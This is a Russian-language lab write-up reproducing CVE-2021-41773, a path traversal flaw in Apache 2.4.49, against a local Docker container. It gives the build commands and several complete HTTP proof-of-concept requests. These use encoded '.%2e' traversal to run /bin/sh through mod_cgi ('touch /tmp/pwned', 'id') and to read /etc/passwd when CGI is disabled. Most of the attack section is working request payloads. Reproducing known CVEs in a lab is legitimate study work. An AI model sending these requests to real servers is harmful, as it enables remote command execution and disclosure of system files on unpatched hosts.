
Воспроизведение CVE-2021-41773
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
Уязвимость, характерная для Apache v2.4.49. В ранних версиях не было функции ap_normalize_path, она была введена в версии v2.4.49. Именно эта функция привела к обходу директорий. Исправлено в v2.4.50.
https://github.com/1nhann/CVE-2021-41773
В данном окружении загружен модуль CGI:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
Внутри контейнера: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
Выполнил /bash.cgi из корневой директории.
Просмотр документации Apache по CGI:
STDIN и STDOUT
Другое взаимодействие между сервером и клиентом происходит через стандартный ввод (
STDIN) и стандартный вывод (STDOUT). В обычном контекстеSTDINозначает клавиатуру или файл, который программа должна обработать, аSTDOUTобычно означает консоль или экран.Когда вы отправляете
POSTформу в CGI-программу, данные этой формы упаковываются в специальный формат и передаются вашей CGI-программе черезSTDIN. Затем программа может обрабатывать эти данные так, как если бы они поступали с клавиатуры или из файла.«Специальный формат» очень прост. Имя поля и его значение соединяются знаком равенства (=), а пары значений соединяются амперсандом (&). Неудобные символы, такие как пробелы, амперсанды и знаки равенства, преобразуются в их шестнадцатеричный эквивалент, чтобы они не нарушали работу. Вся строка данных может выглядеть примерно так:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
То есть параметры, переданные через POST, передаются в качестве содержимого stdin CGI-программе, к которой осуществляется доступ.
Если обратиться к /bin/sh, то можно сразу получить оболочку.
POC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
Также возможен непосредственный вывод результата выполнения команды:
POC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
Если модуль CGI не загружен, файл не будет выполнен:
#LoadModule cgi_module modules/mod_cgi.so
POC:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116